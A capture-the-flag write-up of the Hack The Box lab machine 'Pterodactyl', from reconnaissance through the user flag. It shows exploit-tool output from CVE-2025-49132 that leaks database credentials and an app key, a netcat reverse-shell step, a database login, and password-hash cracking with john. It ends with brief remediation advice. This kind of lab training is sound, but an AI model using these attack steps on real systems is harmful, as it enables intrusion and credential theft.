# Introduction

This write‑up contains spoilers for the entire user flag.

This is my second time attempting a medium-difficulty machine on Hack The Box. Before starting, I searched for write-ups and passed one of them to Claude, instructing it not to reveal any solutions and only give hints when requested. From there, I worked through the machine step by step, using the hints and my own analysis to reach the user flag.

pterodactyl cover

# Reconnaissance

I started this box with a simple nmap scan.

bash
nmap -sC -sV -vv -oA nmap/nmap 10.129.9.165

The nmap scan reveals the following information

code
# Nmap 7.94SVN scan initiated Wed Mar  4 01:25:17 2026 as: nmap -sC -sV -vv -oA nmap/nmap 10.129.9.94
Nmap scan report for 10.129.9.94
Host is up, received reset ttl 63 (0.13s latency).
Scanned at 2026-03-04 01:25:18 +03 for 18s
Not shown: 983 filtered tcp ports (no-response), 13 filtered tcp ports (admin-prohibited)
PORT     STATE  SERVICE    REASON         VERSION
22/tcp   open   ssh        syn-ack ttl 63 OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey: 
|   256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOouXDOkVrDkob+tyXJOHu3twWDqor3xlKgyYmLIrPasaNjhBW/xkGT2otP1zmnkTUyGfzEWZGkZB2Jkaivmjgc=
|   256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJTXNuX5oJaGQJfvbga+jM+14w5ndyb0DN0jWJHQCDd9
80/tcp   open   http       syn-ack ttl 63 nginx 1.21.5
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://pterodactyl.htb/
|_http-server-header: nginx/1.21.5
443/tcp  closed https      reset ttl 63
8080/tcp closed http-proxy reset ttl 63

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Mar  4 01:25:36 2026 -- 1 IP address (1 host up) scanned in 19.34 seconds

ssh and http services are running. http services shows a website with the url pterodactyl.htb, so I changed the /etc/hosts.

# Accessing the webpage

pterodactyl webpage

## Changelog

ChangeLogPterodactyl

## phpinfo()

Phpinfo Pterodactyl

php info show a few important things.

PHP Version: 8.4.8 Server Software: nginx/1.21.5 file_uploads: On — meaning the server accepts file uploads allow_url_include: Off — remote file inclusion not possible SCRIPT_FILENAME: /var/www/html/phpinfo.php — reveals the web root path Include_path: includes /usr/share/php/PEAR — PEAR is present on the system, which becomes relevant later

## VHOST enumeration

code
ffuf -H "Host: FUZZ.pterodactyl.htb" -u http://pterodactyl.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-10000.txt -fs 145

code

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://pterodactyl.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.pterodactyl.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 145
________________________________________________

panel                   [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 353ms]

# Foothold

Unvalidated Path Traversal: The locale parameter in /locales/locale.json allows path traversal without proper validation.
Direct File Inclusion: The application directly includes files based on user-controlled input.
PEAR Command Injection: The pearcmd.php script accepts the +config-create command which can write arbitrary PHP files.
Unauthenticated Access: The vulnerable endpoint doesn't require authentication.

## Panel pterodactyl CVE

Pterodactyl is a service and it has a CVE-2025-49132. CVE has --scan which reveals a .env file.

code
╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝
[*] Scanning: http://panel.pterodactyl.htb/locales/locale.json
-------------------------------------------------------
[+] VULNERABLE - Database credentials leaked
    Host:     127.0.0.1
    Port:     3306
    Database: panel
    Username: pterodactyl
    Password: PteraPanel
    Connection: pterodactyl:PteraPanel@127.0.0.1:3306/panel
[+] VULNERABLE - App configuration leaked
    App Key: base64{{UaThTPQnUjrrK61o}}+Luk7P9o4hM+gl4UiMJqcbTSThY=
    [!] SECURITY WARNING: APP_KEY exposed!
    App Name: Pterodactyl
    URL:      http://panel.pterodactyl.htb
-------------------------------------------------------
[+] Target is VULNERABLE to CVE-2025-49132

## Reverse Shell

Using the same CVE, I could trigger a reverse shell.

code
nc -lvnp 1337

code
./exploit shell 10.129.9.165 1337

## Mariadb

code
mariadb -h 127.0.0.1 -u pterodactyl -p

mariadb 1 pterodactyl mariadb2 pteodactyl mariaDB2creds pterodactyl

## Crack Password

code
echo "$2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2
$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi" >> creds.txt

john --wordlist=/usr/share/wordlists/rockyou.txt creds.txt

johnCrack Pterodactyl

# User flag

## ssh login

Finally I would use that password to ssh into the machine through phileasfogg3 and get the user flag. user flag pterodactyl

# Remediation

Update the panel
Install WAF (Web Application Firewall)
Deny locale.json from the webserver